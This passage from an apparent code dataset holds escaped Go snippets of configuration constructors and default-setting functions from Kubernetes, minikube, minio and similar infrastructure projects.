constraintsList.Constraints\n\t\t\tzone.NullVoterConstraintsIsEmpty = true\n\n\t\tcase \"lease_preferences\":\n\t\t\tvalue := options[i].Value.(*tree.StrVal).RawString()\n\t\t\tif err := yaml.UnmarshalStrict([]byte(value), &zone.LeasePreferences); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}\n\t}\n\treturn zone\n}", "func newStorageConfigFromConfigMap(ctx context.Context, configMap *corev1.ConfigMap, c client.Reader, ns string) (*StorageConfig, error) {\n\tvar sc StorageConfig\n\thasDefault := false\n\tfor k, v := range configMap.Data {\n\t\tvar bc BucketConfig\n\t\terr := yaml.Unmarshal([]byte(v), &bc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tbc.fixEndpoint()\n\t\tbc.isDefault = k == \"default\"\n\n\t\t// Try loading the secret\n\t\tvar secret corev1.Secret\n\t\tkey := client.ObjectKey{\n\t\t\tName: bc.SecretName,\n\t\t\tNamespace: configMap.GetNamespace(),\n\t\t}\n\t\tif err := c.Get(ctx, key, &secret); err != nil {\n\t\t\treturn nil, maskAny(err)\n\t\t}\n\t\tif raw, found := secret.Data[constants.SecretKeyS3AccessKey]; found {\n\t\t\tbc.accessKey = string(raw)\n\t\t} else {\n\t\t\treturn nil, maskAny(fmt.Errorf(\"Config %#v refers to Secret '%s' that has no '%s' field\", configMap.Data, bc.SecretName, constants.SecretKeyS3AccessKey))\n\t\t}\n\t\tif raw, found := secret.Data[constants.SecretKeyS3SecretKey]; found {\n\t\t\tbc.secretKey = string(raw)\n\t\t} else {\n\t\t\treturn nil, maskAny(fmt.Errorf(\"Config %#v refers to Secret '%s' that has no '%s' field\", configMap.Data, bc.SecretName, constants.SecretKeyS3SecretKey))\n\t\t}\n\n\t\t// Add to config\n\t\thasDefault = hasDefault || bc.isDefault\n\t\tsc.Buckets = append(sc.Buckets, bc)\n\t}\n\tif !hasDefault {\n\t\treturn nil, maskAny(fmt.Errorf(\"Config %#v must have a default bucket\", configMap.Data))\n\t}\n\tsort.Slice(sc.Buckets, func(i, j int) bool {\n\t\ta, b := sc.Buckets[i], sc.Buckets[j]\n\t\tif a.isDefault && !b.isDefault {\n\t\t\treturn true\n\t\t}\n\t\tif !a.isDefault && b.isDefault {\n\t\t\treturn false\n\t\t}\n\t\treturn strings.Compare(a.Name, b.Name) < 0\n\t})\n\treturn &sc, nil\n}", "func populateConfig(c Config) Config {\n\tif c.MaxBody <= 0 {\n\t\tlog.Println(\"MAX_BODY unspecified. Defaulting to 5kb\")\n\t\tc.MaxBody = 5 * 1024\n\t}\n\tif c.Endpoint == \"\" {\n\t\tlog.Println(\"ENDPOINT unspecified. Defaulting to ':8080'\")\n\t\tc.Endpoint = \":8080\"\n\t}\n\tif c.DefaultInterval == 0 {\n\t\tlog.Println(\"DEFAULT_INTERVAL unspecified. Defaulting to '60s'\")\n\t\tc.DefaultInterval = 60\n\t}\n\treturn c\n}", "func New(config *interface{}) {\n\tv := reflect.ValueOf(*config)\n\tfieldCount := v.NumField()\n\n\tfor i := 0; i < fieldCount; i++ {\n\t\tswitch v.Field(i).Kind() {\n\t\tcase reflect.Int:\n\t\t\tval := reflect.ValueOf(getIntFromEnv(v.Field(i).Type().Name()))\n\t\t\tv.Field(i).Set(val)\n\t\tcase reflect.String:\n\t\t\tval := reflect.ValueOf(getStringFromEnv(v.Field(i).Type().Name()))\n\t\t\tv.Field(i).Set(val)\n\t\tcase reflect.Bool:\n\t\t\tval := reflect.ValueOf(getBoolFromEnv(v.Field(i).Type().Name()))\n\t\t\tv.Field(i).Set(val)\n\t\tdefault:\n\t\t\tlog.Fatalf(\"error building config -- %s is not of an acceptable type\", v.Field(i).Type().Name())\n\t\t}\n\t}\n}", "func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\treturn &ReconcileConfigMap{client: mgr.GetClient(), scheme: mgr.GetScheme()}\n}", "func newConfig(opts ...Option) config {\n\tc := config{\n\t\tMeterProvider: otel.GetMeterProvider(),\n\t}\n\tfor _, opt := range opts {\n\t\topt.apply(&c)\n\t}\n\treturn c\n}", "func fillDefaults(egw *operatorv1.EgressGateway, installation *operatorv1.InstallationSpec) {\n\tdefaultAWSNativeIP := operatorv1.NativeIPDisabled\n\n\t// Default value of Native IP is Disabled.\n\tif egw.Spec.AWS != nil && egw.Spec.AWS.NativeIP == nil {\n\t\tegw.Spec.AWS.NativeIP = &defaultAWSNativeIP\n\t}\n\n\t// set the default label if not specified.\n\tdefLabel := map[string]string{\"projectcalico.org/egw\": egw.Name}\n\tif egw.Spec.Template == nil {\n\t\tegw.Spec.Template = &operatorv1.EgressGatewayDeploymentPodTemplateSpec{}\n\t\tegw.Spec.Template.Metadata = &operatorv1.EgressGatewayMetadata{Labels: defLabel}\n\t} else {\n\t\tif egw.Spec.Template.Metadata == nil {\n\t\t\tegw.Spec.Template.Metadata = &operatorv1.EgressGatewayMetadata{Labels: defLabel}\n\t\t} else {\n\t\t\tif len(egw.Spec.Template.Metadata.Labels) == 0 {\n\t\t\t\tegw.Spec.Template.Metadata.Labels = defLabel\n\t\t\t}\n\t\t}\n\t}\n\n\t// If affinity isn't specified by the user, default pod anti affinity is added so that 2 EGW pods aren't scheduled in\n\t// the same node. If the provider is AKS, set the node affinity so that pods don't run on virutal-nodes.\n\tdefAffinity := &v1.Affinity{}\n\tdefAffinity.PodAntiAffinity = &v1.PodAntiAffinity{\n\t\tPreferredDuringSchedulingIgnoredDuringExecution: []v1.WeightedPodAffinityTerm{\n\t\t\t{\n\t\t\t\tWeight: 1,\n\t\t\t\tPodAffinityTerm: v1.PodAffinityTerm{\n\t\t\t\t\tLabelSelector: &metav1.LabelSelector{\n\t\t\t\t\t\tMatchLabels: egw.Spec.Template.Metadata.Labels,\n\t\t\t\t\t},\n\t\t\t\t\tTopologyKey: \"topology.kubernetes.io/zone\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tswitch installation.KubernetesProvider {\n\tcase operatorv1.ProviderAKS:\n\t\tdefAffinity.NodeAffinity = &v1.NodeAffinity{\n\t\t\tRequiredDuringSchedulingIgnoredDuringExecution: &v1.NodeSelector{\n\t\t\t\tNodeSelectorTerms: []v1.NodeSelectorTerm{{\n\t\t\t\t\tMatchExpressions: []v1.NodeSelectorRequirement{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: \"type\",\n\t\t\t\t\t\t\tOperator: v1.NodeSelectorOpNotIn,\n\t\t\t\t\t\t\tValues: []string{\"virtual-node\"},\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: \"kubernetes.azure.com/cluster\",\n\t\t\t\t\t\t\tOperator: v1.NodeSelectorOpExists,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t}},\n\t\t\t},\n\t\t}\n\tdefault:\n\t\tdefAffinity.NodeAffinity = nil\n\t}\n\n\tif egw.Spec.Template.Spec == nil {\n\t\tegw.Spec.Template.Spec = &operatorv1.EgressGatewayDeploymentPodSpec{Affinity: defAffinity}\n\t} else if egw.Spec.Template.Spec.Affinity == nil {\n\t\tegw.Spec.Template.Spec.Affinity = defAffinity\n\t}\n}", "func new() exampleInterface {\n\treturn config{}\n}", "func generateNewConfigFromFlags(cmd *cobra.Command, k8sVersion string, rtime string, drvName string) config.ClusterConfig {\n\tvar cc config.ClusterConfig\n\n\t// networkPlugin cni deprecation warning\n\tchosenNetworkPlugin := viper.GetString(networkPlugin)\n\tif chosenNetworkPlugin == \"cni\" {\n\t\tout.WarningT(\"With --network-plugin=cni, you will need to provide your own CNI. See --cni flag as a user-friendly alternative\")\n\t}\n\n\tif !(driver.IsKIC(drvName) || driver.IsKVM(drvName) || driver.IsQEMU(drvName)) && viper.GetString(network) != \"\" {\n\t\tout.WarningT(\"--network flag is only valid with the docker/podman, KVM and Qemu drivers, it will be ignored\")\n\t}\n\n\tcheckNumaCount(k8sVersion)\n\n\tcheckExtraDiskOptions(cmd, drvName)\n\n\tcc = config.ClusterConfig{\n\t\tName: ClusterFlagValue(),\n\t\tKeepContext: viper.GetBool(keepContext),\n\t\tEmbedCerts: viper.GetBool(embedCerts),\n\t\tMinikubeISO: viper.GetString(isoURL),\n\t\tKicBaseImage: viper.GetString(kicBaseImage),\n\t\tNetwork: getNetwork(drvName),\n\t\tSubnet: viper.GetString(subnet),\n\t\tMemory: getMemorySize(cmd, drvName),\n\t\tCPUs: getCPUCount(drvName),\n\t\tDiskSize: getDiskSize(),\n\t\tDriver: drvName,\n\t\tListenAddress: viper.GetString(listenAddress),\n\t\tHyperkitVpnKitSock: viper.GetString(vpnkitSock),\n\t\tHyperkitVSockPorts: viper.GetStringSlice(vsockPorts),\n\t\tNFSShare: viper.GetStringSlice(nfsShare),\n\t\tNFSSharesRoot: viper.GetString(nfsSharesRoot),\n\t\tDockerEnv: config.DockerEnv,\n\t\tDockerOpt: config.DockerOpt,\n\t\tInsecureRegistry: insecureRegistry,\n\t\tRegistryMirror: registryMirror,\n\t\tHostOnlyCIDR: viper.GetString(hostOnlyCIDR),\n\t\tHypervVirtualSwitch: viper.GetString(hypervVirtualSwitch),\n\t\tHypervUseExternalSwitch: viper.GetBool(hypervUseExternalSwitch),\n\t\tHypervExternalAdapter: viper.GetString(hypervExternalAdapter),\n\t\tKVMNetwork: viper.GetString(kvmNetwork),\n\t\tKVMQemuURI: viper.GetString(kvmQemuURI),\n\t\tKVMGPU: viper.GetBool(kvmGPU),\n\t\tKVMHidden: viper.GetBool(kvmHidden),\n\t\tKVMNUMACount: viper.GetInt(kvmNUMACount),\n\t\tDisableDriverMounts: viper.GetBool(disableDriverMounts),\n\t\tUUID: viper.GetString(uuid),\n\t\tNoVTXCheck: viper.GetBool(noVTXCheck),\n\t\tDNSProxy: viper.GetBool(dnsProxy),\n\t\tHostDNSResolver: viper.GetBool(hostDNSResolver),\n\t\tHostOnlyNicType: viper.GetString(hostOnlyNicType),\n\t\tNatNicType: viper.GetString(natNicType),\n\t\tStartHostTimeout: viper.GetDuration(waitTimeout),\n\t\tExposedPorts: viper.GetStringSlice(ports),\n\t\tSSHIPAddress: viper.GetString(sshIPAddress),\n\t\tSSHUser: viper.GetString(sshSSHUser),\n\t\tSSHKey: viper.GetString(sshSSHKey),\n\t\tSSHPort: viper.GetInt(sshSSHPort),\n\t\tExtraDisks: viper.GetInt(extraDisks),\n\t\tCertExpiration: viper.GetDuration(certExpiration),\n\t\tMount: viper.GetBool(createMount),\n\t\tMountString: viper.GetString(mountString),\n\t\tMount9PVersion: viper.GetString(mount9PVersion),\n\t\tMountGID: viper.GetString(mountGID),\n\t\tMountIP: viper.GetString(mountIPFlag),\n\t\tMountMSize: viper.GetInt(mountMSize),\n\t\tMountOptions: viper.GetStringSlice(mountOptions),\n\t\tMountPort: uint16(viper.GetUint(mountPortFlag)),\n\t\tMountType: viper.GetString(mountTypeFlag),\n\t\tMountUID: viper.GetString(mountUID),\n\t\tBinaryMirror: viper.GetString(binaryMirror),\n\t\tDisableOptimizations: viper.GetBool(disableOptimizations),\n\t\tDisableMetrics: viper.GetBool(disableMetrics),\n\t\tCustomQemuFirmwarePath: viper.GetString(qemuFirmwarePath),\n\t\tSocketVMnetClientPath: detect.SocketVMNetClientPath(),\n\t\tSocketVMnetPath: detect.SocketVMNetPath(),\n\t\tStaticIP: viper.GetString(staticIP),\n\t\tKubernetesConfig: config.KubernetesConfig{\n\t\t\tKubernetesVersion: k8sVersion,\n\t\t\tClusterName: ClusterFlagValue(),\n\t\t\tNamespace: viper.GetString(startNamespace),\n\t\t\tAPIServerName: viper.GetString(apiServerName),\n\t\t\tAPIServerNames: apiServerNames,\n\t\t\tAPIServerIPs: apiServerIPs,\n\t\t\tDNSDomain: viper.GetString(dnsDomain),\n\t\t\tFeatureGates: viper.GetString(featureGates),\n\t\t\tContainerRuntime: rtime,\n\t\t\tCRISocket: viper.GetString(criSocket),\n\t\t\tNetworkPlugin: chosenNetworkPlugin,\n\t\t\tServiceCIDR: viper.GetString(serviceCIDR),\n\t\t\tImageRepository: getRepository(cmd, k8sVersion),\n\t\t\tExtraOptions: getExtraOptions(),\n\t\t\tShouldLoadCachedImages: viper.GetBool(cacheImages),\n\t\t\tCNI: getCNIConfig(cmd),\n\t\t\tNodePort: viper.GetInt(apiServerPort),\n\t\t},\n\t\tMultiNodeRequested: viper.GetInt(nodes) > 1,\n\t}\n\tcc.VerifyComponents = interpretWaitFlag(*cmd)\n\tif viper.GetBool(createMount) && driver.IsKIC(drvName) {\n\t\tcc.ContainerVolumeMounts = []string{viper.GetString(mountString)}\n\t}\n\n\tif driver.IsKIC(drvName) {\n\t\tsi, err := oci.CachedDaemonInfo(drvName)\n\t\tif err != nil {\n\t\t\texit.Message(reason.Usage, \"Ensure your {{.driver_name}} is running and is healthy.\", out.V{\"driver_name\": driver.FullName(drvName)})\n\t\t}\n\t\tif si.Rootless {\n\t\t\tout.Styled(style.Notice, \"Using rootless {{.driver_name}} driver\", out.V{\"driver_name\": driver.FullName(drvName)})\n\t\t\tif cc.KubernetesConfig.ContainerRuntime == constants.Docker {\n\t\t\t\texit.Message(reason.Usage, \"--container-runtime must be set to \\\"containerd\\\" or \\\"cri-o\\\" for rootless\")\n\t\t\t}\n\t\t\t// KubeletInUserNamespace feature gate is essential for rootless driver.\n\t\t\t// See https://kubernetes.io/docs/tasks/administer-cluster/kubelet-in-userns/\n\t\t\tcc.KubernetesConfig.FeatureGates = addFeatureGate(cc.KubernetesConfig.FeatureGates, \"KubeletInUserNamespace=true\")\n\t\t} else {\n\t\t\tif oci.IsRootlessForced() {\n\t\t\t\tif driver.IsDocker(drvName) {\n\t\t\t\t\texit.Message(reason.Usage, \"Using rootless Docker driver was required, but the current Docker does not seem rootless. Try 'docker context use rootless' .\")\n\t\t\t\t} else {\n\t\t\t\t\texit.Message(reason.Usage, \"Using rootless driver was required, but the current driver does not seem rootless\")\n\t\t\t\t}\n\t\t\t}\n\t\t\tout.Styled(style.Notice, \"Using {{.driver_name}} driver with root privileges\", out.V{\"driver_name\": driver.FullName(drvName)})\n\t\t}\n\t\t// for btrfs: if k8s < v1.25.0-beta.0 set kubelet's LocalStorageCapacityIsolation feature gate flag to false,\n\t\t// and if k8s >= v1.25.0-beta.0 (when it went ga and removed as feature gate), set kubelet's localStorageCapacityIsolation option (via kubeadm config) to false.\n\t\t// ref: https://github.com/kubernetes/minikube/issues/14728#issue-1327885840\n\t\tif si.StorageDriver == \"btrfs\" {\n\t\t\tif semver.MustParse(strings.TrimPrefix(k8sVersion, version.VersionPrefix)).LT(semver.MustParse(\"1.25.0-beta.0\")) {\n\t\t\t\tklog.Info(\"auto-setting LocalStorageCapacityIsolation to false because using btrfs storage driver\")\n\t\t\t\tcc.KubernetesConfig.FeatureGates = addFeatureGate(cc.KubernetesConfig.FeatureGates, \"LocalStorageCapacityIsolation=false\")\n\t\t\t} else if !cc.KubernetesConfig.ExtraOptions.Exists(\"kubelet.localStorageCapacityIsolation=false\") {\n\t\t\t\tif err := cc.KubernetesConfig.ExtraOptions.Set(\"kubelet.localStorageCapacityIsolation=false\"); err != nil {\n\t\t\t\t\texit.Error(reason.InternalConfigSet, \"failed to set extra option\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif runtime.GOOS == \"linux\" && si.DockerOS == \"Docker Desktop\" {\n\t\t\tout.WarningT(\"For an improved experience it's recommended to use Docker Engine instead of Docker Desktop.\\nDocker Engine installation instructions: https://docs.docker.com/engine/install/#server\")\n\t\t}\n\t}\n\n\treturn cc\n}", "func newRepairingMutation(c config, op Op, opts ...repairingOption) *RepairingMutation {\n\tm := &RepairingMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeRepairing,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}", "func NewDefault() *Config {\n\tname := fmt.Sprintf(\"ec2-%s-%s\", getTS()[:10], randutil.String(12))\n\tif v := os.Getenv(AWS_K8S_TESTER_EC2_PREFIX + \"NAME\"); v != \"\" {\n\t\tname = v\n\t}\n\treturn &Config{\n\t\tmu: new(sync.RWMutex),\n\n\t\tUp: false,\n\t\tDeletedResources: make(map[string]string),\n\n\t\tName: name,\n\t\tPartition: endpoints.AwsPartitionID,\n\t\tRegion: endpoints.UsWest2RegionID,\n\n\t\t// to be auto-generated\n\t\tConfigPath: \"\",\n\t\tRemoteAccessCommandsOutputPath: \"\",\n\n\t\tLogColor: true,\n\t\tLogColorOverride: \"\",\n\n\t\tLogLevel: logutil.DefaultLogLevel,\n\t\t// default, stderr, stdout, or file name\n\t\t// log file named with cluster name will be added automatically\n\t\tLogOutputs: []string{\"stderr\"},\n\n\t\tOnFailureDelete: true,\n\t\tOnFailureDeleteWaitSeconds: 120,\n\n\t\tS3: getDefaultS3(),\n\t\tRole: getDefaultRole(),\n\t\tVPC: getDefaultVPC(),\n\t\tRemoteAccessKeyCreate: true,\n\t\tRemoteAccessPrivateKeyPath: filepath.Join(os.TempDir(), randutil.String(10)+\".insecure.key\"),\n\n\t\tASGsFetchLogs: true,\n\t\tASGs: map[string]ASG{\n\t\t\tname + \"-asg\": {\n\t\t\t\tName: name + \"-asg\",\n\t\t\t\tSSM: &SSM{\n\t\t\t\t\tDocumentCreate: false,\n\t\t\t\t\tDocumentName: \"\",\n\t\t\t\t\tDocumentCommands: \"\",\n\t\t\t\t\tDocumentExecutionTimeoutSeconds: 3600,\n\t\t\t\t},\n\t\t\t\tRemoteAccessUserName: \"ec2-user\", // for AL2\n\t\t\t\tAMIType: AMITypeAL2X8664,\n\t\t\t\tImageID: \"\",\n\t\t\t\tImageIDSSMParameter: \"/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2\",\n\t\t\t\tInstanceType: DefaultNodeInstanceTypeCPU,\n\t\t\t\tVolumeSize: DefaultNodeVolumeSize,\n\t\t\t\tASGMinSize: 1,\n\t\t\t\tASGMaxSize: 1,\n\t\t\t\tASGDesiredCapacity: 1,\n\t\t\t},\n\t\t},\n\t}\n}", "func newJoinOptions() *joinOptions {\n\t// initialize the public kubeadm config API by applying defaults\n\texternalcfg := &kubeadmapiv1.JoinConfiguration{}\n\n\t// Add optional config objects to host flags.\n\t// un-set objects will be cleaned up afterwards (into newJoinData func)\n\texternalcfg.Discovery.File = &kubeadmapiv1.FileDiscovery{}\n\texternalcfg.Discovery.BootstrapToken = &kubeadmapiv1.BootstrapTokenDiscovery{}\n\texternalcfg.ControlPlane = &kubeadmapiv1.JoinControlPlane{}\n\n\t// This object is used for storage of control-plane flags.\n\tjoinControlPlane := &kubeadmapiv1.JoinControlPlane{}\n\n\t// Apply defaults\n\tkubeadmscheme.Scheme.Default(externalcfg)\n\tkubeadmapiv1.SetDefaults_JoinControlPlane(joinControlPlane)\n\n\treturn &joinOptions{\n\t\texternalcfg: externalcfg,\n\t}\n}", "func (o *BaseEdgeLBPoolSpec) setDefaults() {\n\t// Set defaults for for pure dklb functionality.\n\tif o.CloudProviderConfiguration == nil {\n\t\to.CloudProviderConfiguration = pointers.NewString(\"\")\n\t}\n\tif o.CPUs == nil {\n\t\to.CPUs = &DefaultEdgeLBPoolCpus\n\t}\n\tif o.Memory == nil {\n\t\to.Memory = &DefaultEdgeLBPoolMemory\n\t}\n\tif o.Name == nil {\n\t\to.Name = pointers.NewString(newRandomEdgeLBPoolName(\"\"))\n\t}\n\tif o.Role == nil {\n\t\to.Role = pointers.NewString(DefaultEdgeLBPoolRole)\n\t}\n\tif o.Network == nil && *o.Role == constants.EdgeLBRolePublic {\n\t\to.Network = pointers.NewString(constants.EdgeLBHostNetwork)\n\t}\n\tif o.Network == nil && *o.Role != constants.EdgeLBRolePublic {\n\t\to.Network = pointers.NewString(constants.DefaultDCOSVirtualNetworkName)\n\t}\n\tif o.Size == nil {\n\t\to.Size = pointers.NewInt32(int32(DefaultEdgeLBPoolSize))\n\t}\n\tif o.Strategies == nil {\n\t\to.Strategies = &EdgeLBPoolManagementStrategies{\n\t\t\tCreation: &DefaultEdgeLBPoolCreationStrategy,\n\t\t}\n\t}\n\t// Check whether cloud-provider configuration is being specified, and override the defaults where necessary.\n\tif *o.CloudProviderConfiguration != \"\" {\n\t\t// If the target EdgeLB pool's name doesn't start with the prefix used for cloud-provider pools, we generate a new name using that prefix.\n\t\tif !strings.HasPrefix(*o.Name, constants.EdgeLBCloudProviderPoolNamePrefix) {\n\t\t\to.Name = pointers.NewString(newRandomEdgeLBPoolName(constants.EdgeLBCloudProviderPoolNamePrefix))\n\t\t}\n\t\t// If the target EdgeLB pool's network is not the host network, we override it.\n\t\tif *o.Network != constants.EdgeLBHostNetwork {\n\t\t\to.Network = pointers.NewString(constants.EdgeLBHostNetwork)\n\t\t}\n\t}\n}", "func newConfig() (*rest.Config, error) {\n // try in cluster config first, it should fail quickly on lack of env vars\n cfg, err := inClusterConfig()\n if err != nil {\n cfg, err = clientcmd.BuildConfigFromFlags(\"\", clientcmd.RecommendedHomeFile)\n if err != nil {\n return nil, errors.Wrap(err, \"failed to get InClusterConfig and Config from kube_config\")\n }\n }\n return cfg, nil\n}", "func newRestaurantMutation(c config, op Op, opts ...restaurantOption) *RestaurantMutation {\n\tm := &RestaurantMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeRestaurant,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}", "func newRestaurantMutation(c config, op Op, opts ...restaurantOption) *RestaurantMutation {\n\tm := &RestaurantMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeRestaurant,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}", "func newConfigV101() *configV1 {\n\tconf := new(configV1)\n\tconf.Version = mcCurrentConfigVersion\n\t// make sure to allocate map's otherwise Golang\n\t// exits silently without providing any errors\n\tconf.Hosts = make(map[string]*hostConfig)\n\tconf.Aliases = make(map[string]string)\n\n\tlocalHostConfig := new(hostConfig)\n\tlocalHostConfig.AccessKeyID = \"\"\n\tlocalHostConfig.SecretAccessKey = \"\"\n\n\ts3HostConf := new(hostConfig)\n\ts3HostConf.AccessKeyID = globalAccessKeyID\n\ts3HostConf.SecretAccessKey = globalSecretAccessKey\n\n\t// Your example host config\n\texampleHostConf := new(hostConfig)\n\texampleHostConf.AccessKeyID = globalAccessKeyID\n\texampleHostConf.SecretAccessKey = globalSecretAccessKey\n\n\tplayHostConfig := new(hostConfig)\n\tplayHostConfig.AccessKeyID = \"\"\n\tplayHostConfig.SecretAccessKey = \"\"\n\n\tdlHostConfig := new(hostConfig)\n\tdlHostConfig.AccessKeyID = \"\"\n\tdlHostConfig.SecretAccessKey = \"\"\n\n\tconf.Hosts[exampleHostURL] = exampleHostConf\n\tconf.Hosts[\"localhost:*\"] = localHostConfig\n\tconf.Hosts[\"127.0.0.1:*\"] = localHostConfig\n\tconf.Hosts[\"s3*.amazonaws.com\"] = s3HostConf\n\tconf.Hosts[\"play.minio.io:9000\"] = playHostConfig\n\tconf.Hosts[\"dl.minio.io:9000\"] = dlHostConfig\n\n\taliases := make(map[string]string)\n\taliases[\"s3\"] = \"https://s3.amazonaws.com\"\n\taliases[\"play\"] = \"https://play.minio.io:9000\"\n\taliases[\"dl\"] = \"https://dl.minio.io:9000\"\n\taliases[\"localhost\"] = \"http://localhost:9000\"\n\tconf.Aliases = aliases\n\n\treturn conf\n}", "func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\tsnapClientset, err := snapclientset.NewForConfig(mgr.GetConfig())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn &ReconcileVolumeBackup{\n\t\tclient: mgr.GetClient(),\n\t\tsnapClientset: snapClientset,\n\t\tconfig: mgr.GetConfig(),\n\t\tscheme: mgr.GetScheme(),\n\t\texecutor: executor.CreateNewRemotePodExecutor(mgr.GetConfig()),\n\t}\n}", "func newConfig(serviceName string) config {\n\t// Use stdlib to parse. If it's an invalid value and doesn't parse, log it\n\t// and keep going. It should already be false on error but we force it to\n\t// be extra clear that it's failing closed.\n\tinsecure, err := strconv.ParseBool(os.Getenv(\"OTEL_EXPORTER_OTLP_INSECURE\"))\n\tif err != nil {\n\t\tinsecure = false\n\t\tlog.Println(\"Invalid boolean value in OTEL_EXPORTER_OTLP_INSECURE. Try true or false.\")\n\t}\n\n\treturn config{\n\t\tservicename: serviceName,\n\t\tendpoint: os.Getenv(\"OTEL_EXPORTER_OTLP_ENDPOINT\"),\n\t\tinsecure: insecure,\n\t}\n}", "func newConfig() *bqConfig {\n\treturn &bqConfig{\n\t\tarenaSize: cDefaultArenaSize,\n\t\tmaxInMemArenas: cMinMaxInMemArenas,\n\t}\n}", "func (c *Config) addUnsetRedpandaDefaults(actual bool) {\n\tsrc := c.redpandaYaml\n\tif actual {\n\t\tsrc = c.redpandaYamlActual\n\t}\n\tdst := &c.redpandaYaml\n\tdefaultFromRedpanda(\n\t\tnamedAuthnToNamed(src.Redpanda.KafkaAPI),\n\t\tsrc.Redpanda.KafkaAPITLS,\n\t\t&dst.Rpk.KafkaAPI.Brokers,\n\t)\n\tdefaultFromRedpanda(\n\t\tsrc.Redpanda.AdminAPI,\n\t\tsrc.Redpanda.AdminAPITLS,\n\t\t&dst.Rpk.AdminAPI.Addresses,\n\t)\n\n\tif len(dst.Rpk.KafkaAPI.Brokers) == 0 && len(dst.Rpk.AdminAPI.Addresses) > 0 {\n\t\t_, host, _, err := rpknet.SplitSchemeHostPort(dst.Rpk.AdminAPI.Addresses[0])\n\t\tif err == nil {\n\t\t\thost = net.JoinHostPort(host, strconv.Itoa(DefaultKafkaPort))\n\t\t\tdst.Rpk.KafkaAPI.Brokers = []string{host}\n\t\t\tdst.Rpk.KafkaAPI.TLS = dst.Rpk.AdminAPI.TLS\n\t\t}\n\t}\n\n\tif len(dst.Rpk.AdminAPI.Addresses) == 0 && len(dst.Rpk.KafkaAPI.Brokers) > 0 {\n\t\t_, host, _, err := rpknet.SplitSchemeHostPort(dst.Rpk.KafkaAPI.Brokers[0])\n\t\tif err == nil {\n\t\t\thost = net.JoinHostPort(host, strconv.Itoa(DefaultAdminPort))\n\t\t\tdst.Rpk.AdminAPI.Addresses = []string{host}\n\t\t\tdst.Rpk.AdminAPI.TLS = dst.Rpk.KafkaAPI.TLS\n\t\t}\n\t}\n}", "func newConfig(envParams envParams) error {\n\t// Initialize server config.\n\tsrvCfg := newServerConfigV14()\n\n\t// If env is set for a fresh start, save them to config file.\n\tif globalIsEnvCreds {\n\t\tsrvCfg.SetCredential(envParams.creds)\n\t}\n\n\tif globalIsEnvBrowser {\n\t\tsrvCfg.SetBrowser(envParams.browser)\n\t}\n\n\t// Create config path.\n\tif err := createConfigDir(); err != nil {\n\t\treturn err\n\t}\n\n\t// hold the mutex lock before a new config is assigned.\n\t// Save the new config globally.\n\t// unlock the mutex.\n\tserverConfigMu.Lock()\n\tserverConfig = srvCfg\n\tserverConfigMu.Unlock()\n\n\t// Save config into file.\n\treturn serverConfig.Save()\n}", "func DefaultKubeadmConfigSpec(r *KubeadmConfigSpec) {\n\tif r.Format == \"\" {\n\t\tr.Format = CloudConfig\n\t}\n\tif r.InitConfiguration != nil && r.InitConfiguration.NodeRegistration.ImagePullPolicy == \"\" {\n\t\tr.InitConfiguration.NodeRegistration.ImagePullPolicy = \"IfNotPresent\"\n\t}\n\tif r.JoinConfiguration != nil && r.JoinConfiguration.NodeRegistration.ImagePullPolicy == \"\" {\n\t\tr.JoinConfiguration.NodeRegistration.ImagePullPolicy = \"IfNotPresent\"\n\t}\n}", "func NewConfigure(p fsm.ExecutorParams, operator ops.Operator) (fsm.PhaseExecutor, error) {\n\tlogger := &fsm.Logger{\n\t\tFieldLogger: logrus.WithFields(logrus.Fields{\n\t\t\tconstants.FieldPhase: p.Phase.ID,\n\t\t}),\n\t\tKey: opKey(p.Plan),\n\t\tOperator: operator,\n\t}\n\tvar env map[string]string\n\tvar config []byte\n\tif p.Phase.Data != nil && p.Phase.Data.Install != nil {\n\t\tenv = p.Phase.Data.Install.Env\n\t\tconfig = p.Phase.Data.Install.Config\n\t}\n\treturn &configureExecutor{\n\t\tFieldLogger: logger,\n\t\tOperator: operator,\n\t\tExecutorParams: p,\n\t\tenv: env,\n\t\tconfig: config,\n\t}, nil\n}", "func (r *K8sRESTConfigFactory) Create(token string) (*rest.Config, error) {\n\tshallowCopy := *r.cfg\n\tshallowCopy.BearerToken = token\n\tif r.insecure {\n\t\tshallowCopy.TLSClientConfig = rest.TLSClientConfig{\n\t\t\tInsecure: r.insecure,\n\t\t}\n\t}\n\treturn &shallowCopy, nil\n}", "func newResourceMutation(c config, op Op, opts ...resourceOption) *ResourceMutation {\n\tm := &ResourceMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeResource,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}", "func (c *Chain) initRelayerConfig(path string, selfacc conf.Account, accounts []conf.Account) (rly.Config, error) {\n\tconfig := rly.Config{\n\t\tGlobal: rly.GlobalConfig{\n\t\t\tTimeout: \"10s\",\n\t\t\tLiteCacheSize: 20,\n\t\t},\n\t\tPaths: rly.Paths{},\n\t}\n\n\tfor _, account := range append([]conf.Account{selfacc}, accounts...) {\n\t\tconfig.Chains = append(config.Chains, rly.NewChain(account.Name, xurl.HTTP(account.RPCAddress)))\n\t}\n\n\tfor _, acc := range accounts {\n\t\tconfig.Paths[fmt.Sprintf(\"%s-%s\", selfacc.Name, 